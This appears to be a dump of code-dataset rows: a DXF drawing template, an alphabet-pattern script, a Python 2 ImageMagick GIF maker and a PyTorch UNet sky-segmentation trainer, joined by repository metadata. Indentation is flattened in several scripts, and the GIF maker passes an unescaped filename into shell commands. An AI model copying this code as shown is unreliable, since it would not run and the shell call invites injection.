%(oblique_records_handle)s 1070 46 1040 0.0 1070 278 1070 46 1070 44 1040 %(vv_s)s 1070 42 1040 0.0 1070 147 1040 %(s)s 1002 } 1001 ACAD 1000 DSTYLE 1002 { 1070 44 1040 %(vv_s)s 1070 42 1040 0.0 1070 41 1040 %(size_arrow)s 1070 147 1040 %(s)s 1002 } 0 LINE 5 %(handle)s 330 1F 100 AcDbEntity 8 0 6 %(dash)s 62 %(fill)s 48 30.0 370 %(width)s 100 AcDbLine 10 %(x1)s 20 %(y1)s 30 0.0 11 %(x2)s 21 %(y2)s 31 0.0 0 CIRCLE 5 %(handle)s 330 1F 100 AcDbEntity 8 0 62 %(fill)s 370 %(width)s 100 AcDbCircle 10 %(x0)s 20 %(y0)s 30 0.0 40 %(R)s 0 ARC 5 %(handle)s 330 1F 100 AcDbEntity 8 0 6 ByLayer 62 %(fill)s 370 %(width)s 100 AcDbCircle 10 %(x0)s 20 %(y0)s 40 %(R)s 100 AcDbArc 50 %(start)s 51 %(extent)s 0 TEXT 5 %(handle)s 330 1F 100 AcDbEntity 8 0 62 %(fill)s 100 AcDbText 10 %(x)s 20 %(y)s 30 0.0 40 %(size)s 50 %(angle)s 1 %(text)s 41 %(w_text)s 100 AcDbText 0 ENDSEC 0 SECTION 2 OBJECTS 0 DICTIONARY 5 C 330 0 100 AcDbDictionary 281 1 3 ACAD_DETAILVIEWSTYLE 350 B5 3 ACAD_GROUP 350 D 3 ACAD_IMAGE_VARS 350 6A 3 ACAD_LAYOUT 350 1A 3 ACAD_MLINESTYLE 350 17 3 ACAD_PLOTSETTINGS 350 19 3 ACAD_PLOTSTYLENAME 350 E 3 ACAD_SCALELIST 350 40 3 ACAD_SECTIONVIEWSTYLE 350 B6 3 AcDbVariableDictionary 350 3D 3 APPDATA 350 71 3 DWGPROPS 350 %(last_handle)s 0 DICTIONARY 5 B5 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 0 DICTIONARY 5 D 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 0 RASTERVARIABLES 5 6A 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbRasterVariables 90 0 70 1 71 1 72 1 0 DICTIONARY 5 1A 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 3 Model 350 22 3 Sheet1 350 1E 3 Sheet2 350 26 0 DICTIONARY 5 17 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 3 Standard 350 18 0 DICTIONARY 5 19 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 0 ACDBDICTIONARYWDFLT 5 E 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 3 Normal 350 F 100 AcDbDictionaryWithDefault 340 F 0 DICTIONARY 5 40 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 3 A0 350 41 3 A1 350 42 3 A2 350 43 3 A3 350 44 3 A4 350 45 3 A5 350 46 3 A6 350 47 3 A7 350 48 3 A8 350 49 3 A9 350 4A 3 B0 350 4B 3 B1 350 4C 3 B2 350 4D 3 B3 350 4E 3 B4 350 4F 3 B5 350 50 3 B6 350 51 3 B7 350 52 3 B8 350 53 3 B9 350 54 3 C0 350 55 3 C1 350 56 3 C2 350 57 3 C3 350 58 3 C4 350 59 3 C5 350 5A 3 C6 350 5B 3 C7 350 5C 3 C8 350 5D 3 C9 350 5E 3 D0 350 5F 3 D1 350 60 3 D2 350 61 0 DICTIONARY 5 B6 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 0 DICTIONARY 5 3D 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 3 HPTRANSPARENCY 350 BD 0 DICTIONARY 5 71 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbDictionary 281 1 0 XRECORD 5 %(last_handle)s 102 {ACAD_REACTORS 330 C 102 } 330 C 100 AcDbXrecord 280 1 1 DWGPROPS COOKIE 2 3 4 6 7 8 9 300 = 301 = 302 = 303 = 304 = 305 = 306 = 307 = 308 = 309 = 40 0.0 41 2455022.637359514 42 2456836.719236111 1 90 0 0 LAYOUT 5 22 102 {ACAD_REACTORS 330 1A 102 } 330 1A 100 AcDbPlotSettings 1 2 none_device 4 ISO_A3_(420.00_x_297.00_MM) 6 40 7.5 41 20.0 42 7.5 43 20.0 44 420.0 45 297.0 46 20.78282828282826 47 0.0 48 0.0 49 0.0 140 0.0 141 0.0 142 1.0 143 1.155642023346303 70 1204 72 1 73 0 74 1 7 monochrome.ctb 75 0 147 0.8653198653198654 148 -134.1869158878504 149 0.0 100 AcDbLayout 1 Model 70 1 71 0 10 0.0 20 0.0 11 420.0 21 297.0 12 0.0 22 0.0 32 0.0 14 -4378.05165097843 24 -13966.58744661573 34 0.0 15 12217.17664974781 25 -360.9396126841557 35 0.0 146 0.0 13 0.0 23 0.0 33 0.0 16 1.0 26 0.0 36 0.0 17 0.0 27 1.0 37 0.0 76 0 330 1F 331 29 0 LAYOUT 5 1E 102 {ACAD_REACTORS 330 1A 102 } 330 1A 100 AcDbPlotSettings 1 2 none_device 4 6 40 0.0 41 0.0 42 0.0 43 0.0 44 0.0 45 0.0 46 0.0 47 0.0 48 0.0 49 0.0 140 0.0 141 0.0 142 1.0 143 1.0 70 688 72 0 73 0 74 5 7 75 16 147 1.0 148 0.0 149 0.0 100 AcDbLayout 1 Sheet1 70 1 71 1 10 0.0 20 0.0 11 420.0 21 297.0 12 0.0 22 0.0 32 0.0 14 1.000000000000000E+20 24 1.000000000000000E+20 34 1.000000000000000E+20 15 -1.000000000000000E+20 25 -1.000000000000000E+20 35 -1.000000000000000E+20 146 0.0 13 0.0 23 0.0 33 0.0 16 1.0 26 0.0 36 0.0 17 0.0 27 1.0 37 0.0 76 0 330 1B 0 LAYOUT 5 26 102 {ACAD_REACTORS 330 1A 102 } 330 1A 100 AcDbPlotSettings 1 2 none_device 4 6 40 0.0 41 0.0 42 0.0 43 0.0 44 0.0 45 0.0 46 0.0 47 0.0 48 0.0 49 0.0 140 0.0 141 0.0 142 1.0 143 1.0 70 688 72 0 73 0 74 5 7 75 16 147 1.0 148 0.0 149 0.0 100 AcDbLayout 1 Sheet2 70 1 71 2 10 0.0 20 0.0 11 0.0 21 0.0 12 0.0 22 0.0 32 0.0 14 0.0 24 0.0 34 0.0 15 0.0 25 0.0 35 0.0 146 0.0 13 0.0 23 0.0 33 0.0 16 1.0 26 0.0 36 0.0 17 0.0 27 1.0 37 0.0 76 0 330 23 0 MLINESTYLE 5 18 102 {ACAD_REACTORS 330 17 102 } 330 17 100 AcDbMlineStyle 2 Standard 70 0 3 62 256 51 90.0 52 90.0 71 2 49 0.5 62 256 6 BYLAYER 49 -0.5 62 256 6 BYLAYER 0 ACDBPLACEHOLDER 5 F 102 {ACAD_REACTORS 330 E 102 } 330 E 0 SCALE 5 41 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:1 140 1.0 141 1.0 290 1 0 SCALE 5 42 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:2 140 1.0 141 2.0 290 0 0 SCALE 5 43 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:4 140 1.0 141 4.0 290 0 0 SCALE 5 44 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:5 140 1.0 141 5.0 290 0 0 SCALE 5 45 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:8 140 1.0 141 8.0 290 0 0 SCALE 5 46 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:10 140 1.0 141 10.0 290 0 0 SCALE 5 47 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:16 140 1.0 141 16.0 290 0 0 SCALE 5 48 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:20 140 1.0 141 20.0 290 0 0 SCALE 5 49 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:30 140 1.0 141 30.0 290 0 0 SCALE 5 4A 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:40 140 1.0 141 40.0 290 0 0 SCALE 5 4B 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:50 140 1.0 141 50.0 290 0 0 SCALE 5 4C 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1:100 140 1.0 141 100.0 290 0 0 SCALE 5 4D 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 2:1 140 2.0 141 1.0 290 0 0 SCALE 5 4E 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 4:1 140 4.0 141 1.0 290 0 0 SCALE 5 4F 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 8:1 140 8.0 141 1.0 290 0 0 SCALE 5 50 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 10:1 140 10.0 141 1.0 290 0 0 SCALE 5 51 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 100:1 140 100.0 141 1.0 290 0 0 SCALE 5 52 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/128" = 1'-0" 140 0.0078125 141 12.0 290 0 0 SCALE 5 53 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/64" = 1'-0" 140 0.015625 141 12.0 290 0 0 SCALE 5 54 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/32" = 1'-0" 140 0.03125 141 12.0 290 0 0 SCALE 5 55 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/16" = 1'-0" 140 0.0625 141 12.0 290 0 0 SCALE 5 56 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 3/32" = 1'-0" 140 0.09375 141 12.0 290 0 0 SCALE 5 57 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/8" = 1'-0" 140 0.125 141 12.0 290 0 0 SCALE 5 58 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 3/16" = 1'-0" 140 0.1875 141 12.0 290 0 0 SCALE 5 59 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/4" = 1'-0" 140 0.25 141 12.0 290 0 0 SCALE 5 5A 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 3/8" = 1'-0" 140 0.375 141 12.0 290 0 0 SCALE 5 5B 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1/2" = 1'-0" 140 0.5 141 12.0 290 0 0 SCALE 5 5C 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 3/4" = 1'-0" 140 0.75 141 12.0 290 0 0 SCALE 5 5D 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1" = 1'-0" 140 1.0 141 12.0 290 0 0 SCALE 5 5E 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1-1/2" = 1'-0" 140 1.5 141 12.0 290 0 0 SCALE 5 5F 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 3" = 1'-0" 140 3.0 141 12.0 290 0 0 SCALE 5 60 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 6" = 1'-0" 140 6.0 141 12.0 290 0 0 SCALE 5 61 102 {ACAD_REACTORS 330 40 102 } 330 40 100 AcDbScale 70 0 300 1'-0" = 1'-0" 140 12.0 141 12.0 290 0 0 DICTIONARYVAR 5 BD 102 {ACAD_REACTORS 330 3D 102 } 330 3D 100 DictionaryVariables 280 0 1 ByLayer 0 ENDSEC 0 EOF | 2.278405 | 2 |
Alphabetic Patterns/alphabeticpattern45.py | Daksh777/Python-PatternHouse | 8 | 6616195 | <filename>Alphabetic Patterns/alphabeticpattern45.py
n = int(input("Enter number of rows : "))
for i in range(n):
# printing spaces
for j in range(i):
print(' ', end='')
# printing alphabet
for j in range(2*(n-i)-1):
print(chr(65 + j), end='')
print() | <filename>Alphabetic Patterns/alphabeticpattern45.py
n = int(input("Enter number of rows : "))
for i in range(n):
# printing spaces
for j in range(i):
print(' ', end='')
# printing alphabet
for j in range(2*(n-i)-1):
print(chr(65 + j), end='')
print() | en | 0.601433 | # printing spaces # printing alphabet | 3.907732 | 4 |
kaynak/animated-gif-maker.py | MimVavKaf/pgn2gif | 0 | 6616196 | <reponame>MimVavKaf/pgn2gif
# Animated GIF maker Python script using ImageMagick
#
# This file is part of the Animated GIF Maker project
# by <NAME> (Created April 2005)
# http://alum.mit.edu/www/pgbovine/
# Copyright 2005 <NAME>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# This Python script uses the ImageMagick 'convert' program to make a
# square animated GIF from an input image and coordinate waypoint
# specifications written in a text file.
# Usage (4 arguments):
# python animated-gif-maker.py
# coordinates-file image-file final-size delay-between-frames
# coordinates-file: filename of a text file for describing the animation
# This can either be produced manually or by using the
# animated-gif-maker.html webpage
# image-file: input image file to be animated
# final-size: the width & height of the square output animated GIF
# delay-between-frames: how many 1/100 of a second to put between frames.
# This controls the speed of animation, along with
# the number of frames between waypoints as set in
# coordinates-file.
# The coordinates file consists of lines which represent waypoints:
# e.g.:
# 800 530 200 5
# 860 1050 900 10
# 1220 500 200 15
# Each line has the following fields: x y size num-frames
# x: center x-coordinate
# y: center y-coordinate
# size: width and height of the frame at the waypoint
# (this serves as the zoom factor)
# frames: number of frames between the waypoint on the current line
# and the waypoint on the next line
# The 'camera' will go from line to line, following the specifications
# which you provide, moving and zooming in a linear interpolation
# between the waypoints. When it reaches the waypoint on the last
# line, it will loop back to the waypoint on the first line in order
# to create a smooth animation. There is also support for just
# zooming without moving if you set two neighboring sets of x's and
# y's to be identical but with a different size (zoom factor).
# e.g.:
# 500 400 200 10
# 500 400 100 10
# This will start at a 200x200 section centered at 500x400 and zoom
# into a 100x100 section centered at the same coordinates, then zoom
# out back to a 200x200 section.
# Warnings:
# Be careful to not pick x, y, and size such that the square box of
# length size centered at (x, y) extends outside of the bounds of the
# picture. Otherwise, funky distorting behavior results, which is bad
# news.
import sys
import math
import os
input_fn = sys.argv[1]
image_filename = sys.argv[2]
final_size = sys.argv[3]
delay = sys.argv[4]
in_file = open(input_fn, 'r')
lines = in_file.readlines()
image_num = 0
stripped_lines = [x.strip() for x in lines]
current_x = -1
current_y = -1
current_size = -1
os.system ("rm -rf animated-gif-tmp")
os.system ("mkdir animated-gif-tmp")
# Create all of the frames using ImageMagick 'convert'
for ind in range(len(stripped_lines)):
from_numbers = stripped_lines[ind].split()
to_numbers = None
# If we are on the last line, then use the first line as
# to_numbers so that we can wrap around from the last waypoint
# back to the first starting waypoint:
if ind == (len(stripped_lines) - 1):
to_numbers = stripped_lines[0].split()
else:
to_numbers = stripped_lines[ind + 1].split()
from_x = 0
from_y = 0
if current_x >= 0:
from_x = current_x # Prevents awkward distortions at corner points
else:
from_x = int(from_numbers[0])
if current_y >= 0:
from_y = current_y
else:
from_y = int(from_numbers[1])
if current_size >= 0:
from_size = current_size
else:
from_size = int(from_numbers[2])
num_frames = int(from_numbers[3])
to_x = int(to_numbers[0])
to_y = int(to_numbers[1])
to_size = int(to_numbers[2])
x_dist = to_x - from_x
y_dist = to_y - from_y
# Make a straight line trajectory from from_[x,y] to to_[x,y]
distance = math.sqrt(pow(x_dist, 2) + pow(y_dist, 2))
cos_theta = 0
sin_theta = 0
current_x = from_x
current_y = from_y
current_size = from_size
num_steps = 0
update_amt = 0
update_size_amt = float(to_size - from_size) / num_frames
# Special case for stationary zooming case
# print "distance: ", distance
# distance is a double so don't do 'if distance == 0'
if (distance > 0.5):
update_amt = float(distance) / num_frames
cos_theta = float(x_dist) / distance
sin_theta = float(y_dist) / distance
for i in range(num_frames):
image_num += 1
# We want to center the image properly
center_x = int(current_x - (current_size / 2))
center_y = int(current_y - (current_size / 2))
# Call the ImageMagick 'convert' program to generate the frame
command = "convert " + image_filename + " -crop " + str(int(current_size)) + "x" + str(int(current_size)) + "+" + str(center_x) + "+" + str(center_y) +" -resize " + str(final_size) + "x" + str(final_size) + " " + "animated-gif-tmp/out_" + ('%03d' % image_num) + ".jpg"
print command
os.system(command)
current_x += (update_amt * cos_theta)
current_y += (update_amt * sin_theta)
current_size += update_size_amt
# Call the ImageMagick 'convert' program to string all of the frames
# together into an animated GIF
print "Creating animated.gif ..."
os.system("convert -delay " + delay + " -loop 0 animated-gif-tmp/out_0*.jpg animated.gif")
os.system("rm -rf animated-gif-tmp")
print "Done creating animated.gif"
| # Animated GIF maker Python script using ImageMagick
#
# This file is part of the Animated GIF Maker project
# by <NAME> (Created April 2005)
# http://alum.mit.edu/www/pgbovine/
# Copyright 2005 <NAME>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# This Python script uses the ImageMagick 'convert' program to make a
# square animated GIF from an input image and coordinate waypoint
# specifications written in a text file.
# Usage (4 arguments):
# python animated-gif-maker.py
# coordinates-file image-file final-size delay-between-frames
# coordinates-file: filename of a text file for describing the animation
# This can either be produced manually or by using the
# animated-gif-maker.html webpage
# image-file: input image file to be animated
# final-size: the width & height of the square output animated GIF
# delay-between-frames: how many 1/100 of a second to put between frames.
# This controls the speed of animation, along with
# the number of frames between waypoints as set in
# coordinates-file.
# The coordinates file consists of lines which represent waypoints:
# e.g.:
# 800 530 200 5
# 860 1050 900 10
# 1220 500 200 15
# Each line has the following fields: x y size num-frames
# x: center x-coordinate
# y: center y-coordinate
# size: width and height of the frame at the waypoint
# (this serves as the zoom factor)
# frames: number of frames between the waypoint on the current line
# and the waypoint on the next line
# The 'camera' will go from line to line, following the specifications
# which you provide, moving and zooming in a linear interpolation
# between the waypoints. When it reaches the waypoint on the last
# line, it will loop back to the waypoint on the first line in order
# to create a smooth animation. There is also support for just
# zooming without moving if you set two neighboring sets of x's and
# y's to be identical but with a different size (zoom factor).
# e.g.:
# 500 400 200 10
# 500 400 100 10
# This will start at a 200x200 section centered at 500x400 and zoom
# into a 100x100 section centered at the same coordinates, then zoom
# out back to a 200x200 section.
# Warnings:
# Be careful to not pick x, y, and size such that the square box of
# length size centered at (x, y) extends outside of the bounds of the
# picture. Otherwise, funky distorting behavior results, which is bad
# news.
import sys
import math
import os
input_fn = sys.argv[1]
image_filename = sys.argv[2]
final_size = sys.argv[3]
delay = sys.argv[4]
in_file = open(input_fn, 'r')
lines = in_file.readlines()
image_num = 0
stripped_lines = [x.strip() for x in lines]
current_x = -1
current_y = -1
current_size = -1
os.system ("rm -rf animated-gif-tmp")
os.system ("mkdir animated-gif-tmp")
# Create all of the frames using ImageMagick 'convert'
for ind in range(len(stripped_lines)):
from_numbers = stripped_lines[ind].split()
to_numbers = None
# If we are on the last line, then use the first line as
# to_numbers so that we can wrap around from the last waypoint
# back to the first starting waypoint:
if ind == (len(stripped_lines) - 1):
to_numbers = stripped_lines[0].split()
else:
to_numbers = stripped_lines[ind + 1].split()
from_x = 0
from_y = 0
if current_x >= 0:
from_x = current_x # Prevents awkward distortions at corner points
else:
from_x = int(from_numbers[0])
if current_y >= 0:
from_y = current_y
else:
from_y = int(from_numbers[1])
if current_size >= 0:
from_size = current_size
else:
from_size = int(from_numbers[2])
num_frames = int(from_numbers[3])
to_x = int(to_numbers[0])
to_y = int(to_numbers[1])
to_size = int(to_numbers[2])
x_dist = to_x - from_x
y_dist = to_y - from_y
# Make a straight line trajectory from from_[x,y] to to_[x,y]
distance = math.sqrt(pow(x_dist, 2) + pow(y_dist, 2))
cos_theta = 0
sin_theta = 0
current_x = from_x
current_y = from_y
current_size = from_size
num_steps = 0
update_amt = 0
update_size_amt = float(to_size - from_size) / num_frames
# Special case for stationary zooming case
# print "distance: ", distance
# distance is a double so don't do 'if distance == 0'
if (distance > 0.5):
update_amt = float(distance) / num_frames
cos_theta = float(x_dist) / distance
sin_theta = float(y_dist) / distance
for i in range(num_frames):
image_num += 1
# We want to center the image properly
center_x = int(current_x - (current_size / 2))
center_y = int(current_y - (current_size / 2))
# Call the ImageMagick 'convert' program to generate the frame
command = "convert " + image_filename + " -crop " + str(int(current_size)) + "x" + str(int(current_size)) + "+" + str(center_x) + "+" + str(center_y) +" -resize " + str(final_size) + "x" + str(final_size) + " " + "animated-gif-tmp/out_" + ('%03d' % image_num) + ".jpg"
print command
os.system(command)
current_x += (update_amt * cos_theta)
current_y += (update_amt * sin_theta)
current_size += update_size_amt
# Call the ImageMagick 'convert' program to string all of the frames
# together into an animated GIF
print "Creating animated.gif ..."
os.system("convert -delay " + delay + " -loop 0 animated-gif-tmp/out_0*.jpg animated.gif")
os.system("rm -rf animated-gif-tmp")
print "Done creating animated.gif" | en | 0.858472 | # Animated GIF maker Python script using ImageMagick # # This file is part of the Animated GIF Maker project # by <NAME> (Created April 2005) # http://alum.mit.edu/www/pgbovine/ # Copyright 2005 <NAME> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # This Python script uses the ImageMagick 'convert' program to make a # square animated GIF from an input image and coordinate waypoint # specifications written in a text file. # Usage (4 arguments): # python animated-gif-maker.py # coordinates-file image-file final-size delay-between-frames # coordinates-file: filename of a text file for describing the animation # This can either be produced manually or by using the # animated-gif-maker.html webpage # image-file: input image file to be animated # final-size: the width & height of the square output animated GIF # delay-between-frames: how many 1/100 of a second to put between frames. # This controls the speed of animation, along with # the number of frames between waypoints as set in # coordinates-file. # The coordinates file consists of lines which represent waypoints: # e.g.: # 800 530 200 5 # 860 1050 900 10 # 1220 500 200 15 # Each line has the following fields: x y size num-frames # x: center x-coordinate # y: center y-coordinate # size: width and height of the frame at the waypoint # (this serves as the zoom factor) # frames: number of frames between the waypoint on the current line # and the waypoint on the next line # The 'camera' will go from line to line, following the specifications # which you provide, moving and zooming in a linear interpolation # between the waypoints. When it reaches the waypoint on the last # line, it will loop back to the waypoint on the first line in order # to create a smooth animation. There is also support for just # zooming without moving if you set two neighboring sets of x's and # y's to be identical but with a different size (zoom factor). # e.g.: # 500 400 200 10 # 500 400 100 10 # This will start at a 200x200 section centered at 500x400 and zoom # into a 100x100 section centered at the same coordinates, then zoom # out back to a 200x200 section. # Warnings: # Be careful to not pick x, y, and size such that the square box of # length size centered at (x, y) extends outside of the bounds of the # picture. Otherwise, funky distorting behavior results, which is bad # news. # Create all of the frames using ImageMagick 'convert' # If we are on the last line, then use the first line as # to_numbers so that we can wrap around from the last waypoint # back to the first starting waypoint: # Prevents awkward distortions at corner points # Make a straight line trajectory from from_[x,y] to to_[x,y] # Special case for stationary zooming case # print "distance: ", distance # distance is a double so don't do 'if distance == 0' # We want to center the image properly # Call the ImageMagick 'convert' program to generate the frame # Call the ImageMagick 'convert' program to string all of the frames # together into an animated GIF | 3.230414 | 3 |
unet_skysegmentation.py | WilliamLambertCN/Magic_Sky | 4 | 6616197 | <reponame>WilliamLambertCN/Magic_Sky
import os
import time
import torch.nn as nn
import torch
import numpy as np
import torchvision.transforms as transforms
from PIL import Image
from torch.utils.data import DataLoader
from matplotlib import pyplot as plt
import torch.optim as optim
import torchvision.models as models
from tools.common_tools import set_seed
from torch.utils.tensorboard import SummaryWriter
from tools.my_dataset import SkyDataset
from tools.unet import UNet
from tools.LovaszLoss import lovasz_hinge
from torch.utils.data import SubsetRandomSampler
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
set_seed() # 设置随机种子
def compute_dice(y_pred, y_true):
"""
:param y_pred: 4-d tensor, value = [0,1]
:param y_true: 4-d tensor, value = [0,1]
:return: Dice index 2*TP/(2*TP+FP+FN)=2TP/(pred_P+true_P)
"""
y_pred, y_true = np.array(y_pred), np.array(y_true)
y_pred, y_true = np.round(y_pred).astype(int), np.round(y_true).astype(int)
return np.sum(y_pred[y_true == 1]) * 2.0 / (np.sum(y_pred) + np.sum(y_true))
if __name__ == "__main__":
# config
LR = 0.01
BATCH_SIZE = 20
max_epoch = 200 # 400
start_epoch = 0
lr_step = 100
val_interval = 1
checkpoint_interval = 20
vis_num = 10
mask_thres = 0.5
# Tensorboard计数
iter_count = 0
logdir = './test7_hsv_lovasz_1e-2'
writer = SummaryWriter(log_dir=logdir)
##########预训练与否#############
pretrained = False
checkpoint_load = 'test5_lovasz_1e-2/bestdice_min_49.89%_checkpoint_37_epoch.pkl'
trainset_path = os.path.join("dataset/trainset")
testset_path = os.path.join("dataset/testset")
#########是否预加载############
if pretrained == False:
checkpoint_load = None
else:
print('Loaded checkpoint from %s.' % checkpoint_load)
# step 1 划分训练集、验证集
trainset = SkyDataset(trainset_path)
testset = SkyDataset(testset_path)
train_loader = DataLoader(trainset, batch_size=BATCH_SIZE,
drop_last=False, shuffle=True)
valid_loader = DataLoader(testset, batch_size=1,
drop_last=False, shuffle=False)
# step 2
net = UNet(in_channels=3, out_channels=1, init_features=32) # init_features is 64 in stander uent
net.to(device)
# step 3
# loss_fn = nn.MSELoss()
loss_fn = lovasz_hinge
# step 4
optimizer = optim.SGD(net.parameters(), momentum=0.9, lr=LR, weight_decay=1e-2)
# scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=lr_step, gamma=0.2)
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.2, patience=10,
verbose=True, threshold=1e-2, threshold_mode='rel',
cooldown=0, min_lr=1e-5, eps=1e-8)
################################################################################################################
if checkpoint_load is not None:
path_checkpoint = checkpoint_load
checkpoint = torch.load(path_checkpoint)
net.load_state_dict(checkpoint['model_state_dict'])
# optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
# start_epoch = checkpoint['epoch']
# scheduler.last_epoch = start_epoch
##################################################################################################################
# step 5
train_curve = list()
valid_curve = list()
train_dice_curve = list()
valid_dice_curve = list()
best_valid = 0
for epoch in range(0, max_epoch):
train_loss_total = 0.
train_dice_total = 0.
print(optimizer.state_dict()['param_groups'][0]['lr'])
net.train()
for iter, (inputs, labels) in enumerate(train_loader):
iter_count += 1
if torch.cuda.is_available():
inputs, labels = inputs.to(device), labels.to(device)
# forward
outputs = net(inputs)
# backward
optimizer.zero_grad()
loss = loss_fn(outputs, labels)
loss.backward()
optimizer.step()
# print
train_dice = compute_dice(outputs.ge(mask_thres).cpu().data.numpy(), labels.cpu())
train_dice_curve.append(train_dice)
train_curve.append(loss.item())
train_loss_total += loss.item()
writer.add_scalar("Train Loss", train_loss_total / (iter + 1), iter_count)
writer.add_scalar("Train Dice", train_dice, iter_count)
print("Training:Epoch[{:0>3}/{:0>3}] Iteration[{:0>3}/{:0>3}] running_loss: {:.4f}, mean_loss: {:.4f} "
"running_dice: {:.4f} lr:{}".format(epoch, max_epoch, iter + 1, len(train_loader), loss.item(),
train_loss_total / (iter + 1), train_dice,
optimizer.state_dict()['param_groups'][0]['lr']))
scheduler.step(train_loss_total / (iter + 1))
if (epoch + 1) % checkpoint_interval == 0:
checkpoint = {"model_state_dict": net.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
"epoch": epoch}
path_checkpoint = os.path.join(logdir, "checkpoint_{}_epoch.pkl".format(epoch))
torch.save(checkpoint, path_checkpoint)
# validate the model
if (epoch + 1) % val_interval == 0:
net.eval()
valid_loss_total = []
valid_dice_total = []
with torch.no_grad():
for j, (inputs, labels) in enumerate(valid_loader):
if torch.cuda.is_available():
inputs, labels = inputs.to(device), labels.to(device)
outputs = net(inputs)
loss = loss_fn(outputs, labels)
valid_loss_total.append(loss.item())
valid_dice = compute_dice(outputs.ge(mask_thres).cpu().data, labels.cpu())
valid_dice_total.append(valid_dice)
valid_loss_mean = sum(valid_loss_total) / len(valid_loader)
valid_dice_mean = sum(valid_dice_total) / len(valid_loader)
valid_curve.append(valid_loss_mean)
valid_dice_curve.append(valid_dice_mean)
valid_dice_min = min(valid_dice_total)
writer.add_scalar("Valid Loss", valid_loss_mean, iter_count)
writer.add_scalar("Valid Dice", valid_dice_mean, iter_count)
writer.add_scalar("Valid Dice Min", valid_dice_min, iter_count)
print("Valid:\t Epoch[{:0>3}/{:0>3}] mean_loss: {:.4f} dice_mean: {:.4f}".format(
epoch, max_epoch, valid_loss_mean, valid_dice_mean))
if valid_dice_min > best_valid:
best_valid = valid_dice_min
checkpoint = {"model_state_dict": net.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
"epoch": epoch}
path_checkpoint = os.path.join(logdir,
"bestdice_min_%.2f%%_checkpoint_%d_epoch.pkl" % (
100 * best_valid, epoch))
torch.save(checkpoint, path_checkpoint)
